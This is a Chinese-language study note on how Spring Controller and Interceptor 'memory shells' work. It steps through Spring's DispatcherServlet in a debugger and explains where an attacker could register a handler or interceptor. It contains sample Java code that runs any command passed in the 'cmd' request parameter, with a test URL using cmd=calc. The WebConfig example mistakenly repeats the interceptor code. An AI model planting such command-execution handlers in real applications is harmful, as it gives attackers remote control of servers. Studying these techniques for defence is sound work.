一,Spring Controller 型内存马原理分析
1,前置环境
-
idea新建一个SpringBoot项目
-
Server URL:start.aliyun.com,包名example.controllershelltry
-
com.example.controllershelltry.demos.web新建一个TestController类
package com.example.controllershelltry.demos.web; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.servlet.HandlerInterceptor; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @RestController public class TestController { @GetMapping("/test") public String test(){ return "test"; } @RequestMapping("/shell") public String shell(HttpServletRequest request, HttpServletResponse response) throws Exception { String cmd = request.getParameter("cmd"); Runtime.getRuntime().exec(cmd); return "shell"; } } -
断点设置在return “test”,启动访问:http://localhost:8080/test
-
2,断点分析
-
doDispatch#mappedHandler[DispatcherServlet.class]
-
handler指向com.example.controllershelltry.demos.web.TestController
-
doDispatch下面的doService啥都没有
-
右击mappedHandler跳转到源
-
HandlerExecutionChain mappedHandler = null;
- 观察到变量值HandlerExecutionChain with [com.example.controllershelltry.demos.web.TestController#test()] and 2 interceptors
- 往下分析mappedHandler = this.getHandler(processedRequest);
- processedRequest ~> request
- 由此后续思路点展开doDispatch#request
-
3,思路概览
-
request请求 获取
-
getHandler 得到要执行的类和方法
-
已知:
-
注册controller通过:RequestMappingHandlerMapping#registerMapping
-
新建ControllerShell类,键入RequestMappingHandlerMapping,导入类
-
点击跳转至RequestMappingHandlerMapping.class
-
展开结构视图搜索,registerMapping[RequestMappingHandlerMapping.class]
-
public void registerMapping(RequestMappingInfo mapping, Object handler, Method method)
- RequestMappingInfo mapping:
- Object handler:操作对象
- Method method:操作对象里的方法
-
点击RequestMappingInfo
- RequestMappingInfo.java
-
二、Spring Interceptor 型内存马
1,环境准备
- 思路与Spring Controller一致
- com.example.interceptorshelltry.demos.web下新建一个TestInterceptor.java
package com.example.interceptorshelltry.demos.web;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle");
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
System.out.println(cmd);
return HandlerInterceptor.super.preHandle(request, response, handler);
}
}
- com.example.interceptorshelltry.demos.web下新建一个WebConfig.java类
package com.example.interceptorshelltry.demos.web;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle");
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
System.out.println(cmd);
return HandlerInterceptor.super.preHandle(request, response, handler);
}
}2,断点分析
-
断点设置于System.out.println(“preHandle”),访问http://192.168.187.242:8080/cx?cmd=calc,控制台返回断点内容[TestInterceptor.java]
-
doDispatch#mappedHandler[DispatcherServlet.java]
- handler指向com.example.interceptorshelltry.demos.web.TestInterceptor
- 右击mappedHandler跳转到源
- HandlerExecutionChain mappedHandler = null;
- 观察到变量值HandlerExecutionChain with [com.example.controllershelltry.demos.web.TestController#test()] and 2 interceptors
- 往下分析mappedHandler = this.getHandler(processedRequest);
- processedRequest ~> request
- 由此后续思路点展开doDispatch#request
-
mappedHandler = getHandler(processedRequest)处设置断点,再次访问http://192.168.187.242:8080/cx?cmd=calc,控入getHandler[DispatcherServlet.java]
-
控制台先步入,在步过至HandlerExecutionChain handler = mapping.getHandler(request),复制控制台mapping的值如下:RequsetMappingHandlerMapping@5336[DispatcherServlet.java]
-
HandlerExecutionChain handler = mapping.getHandler(request)处点击步入,跳转至Object handler = getHandlerInternal(request),[AbstractHandlerMapping.java&getHandler]
-
HandlerExecutionChain executionChain = getHandlerExecutionChain(handler, request),控入 getHandlerExecutionChain,此处有拦截器的代码段chain.addInterceptor(mappedInterceptor.getInterceptor())[AbstractHandlerMapping.java&getHandlerExecutionChain]
- getInterceptor() ~> mappedInterceptor ~> (MappedInterceptor) interceptor ~> this.adaptedInterceptors
-
控入adaptedInterceptors,private final List
adaptedInterceptors = new ArrayList<>()[[AbstractHandlerMapping.java],得到adaptedInterceptors的类型,控制它的值就是控制监听器